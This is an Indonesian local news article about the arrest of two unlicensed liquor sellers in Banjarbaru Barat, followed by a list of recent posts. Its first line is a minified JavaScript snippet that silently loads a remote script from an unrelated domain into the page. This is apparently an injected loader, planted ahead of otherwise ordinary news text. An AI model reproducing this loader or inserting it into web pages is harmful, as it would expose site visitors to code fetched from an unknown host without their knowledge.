(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Seorang Perempuan Penjual Miras Berurusan di Mapolsek Banjarbaru Barat


KANALKALIMANTAN.COM, BANJARBARU – Jajaran Polsek Banjarbaru Barat mengamankan dua orang penjual minuman keras (miras) dari dua tempat berbeda.

Kedua tersangka adalah GA (39) dan R (30), keduanya diringkus petugas kepolisian Polsek Banjarbaru Barat karena menjual dan memiliki miras tanpa izin.

Kapolsek Banjarbaru Barat AKP Yudha Kumoro Pardede melalui Kasi Humas Polsek Banjarbaru Barat Aiptu Kardi Gunadi mengatakan, dalam razia petugas berhasil mengamankan dua orang pelaku, salah satunya seorang perempuan.

“Pelaku berhasil kami amankan di dua tempat berbeda,” kata Aiptu Kardi Gunadi.
R (30), seorang perempuan diringkus pada Sabtu (6/11/2021) sekitar pukul 23.10 Wita, saat sedang menunggu pembeli di sebuah warung Jalan Trikora, Kelurahan Landasan Ulin Tengah. Dari warung R, polisi menyita barang bukti berupa Newport 12 botol, Anggur Merah 3 botol dan Whisky jumbo 4 botol.

Berselang satu malam, petugas kembali menggeral razia pada Senin (8/11/2021) sekitar pukul 00.30 Wita. Giliran GA (39) diringkus polisi ketika sedang menunggu pembeli miras di sebuah kios di Jalan Kenanga, Kelurahan Landasan Ulin Timur.

 

Barang bukti miras milik GA yang diamankan polisi. Foto : polsekbjbbarat

Baca juga : Sehari Bersama Anak di PSAA Budi Mulia, Perpustakaan Keliling Hibur Anak-anak

Saat penggeledahan, polisi berhasil mendapatkan Anggur Merah Columbus 3 botol, Anggur Merah Orang Tua 3 botol, Anggur Merah Mcdonald 3 botol, Anggur Putih Traditional 3 botol, Whisky Mcdonald 2 botol, Wine 6 botol dan Anggur Kolesom Kolee 4 botol.

Sementara itu, kedua penjual miras ini digiring ke Mapolsek Banjarbaru Barat untuk dilakukan proses lebih lanjut.

“Kedua pelaku pengedar minuman keras tanpa izin diganjar Pasal 8 ayat 1 Perda Kota Banjarbaru No. 5 Tahun 2006 dengan ancaman pidana kurungan paling lama tiga bulan atau denda paling banyak 50 juta,” tegas Aiptu Kardi Gunadi. (kanalkalimantan.com/ibnu)

 

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.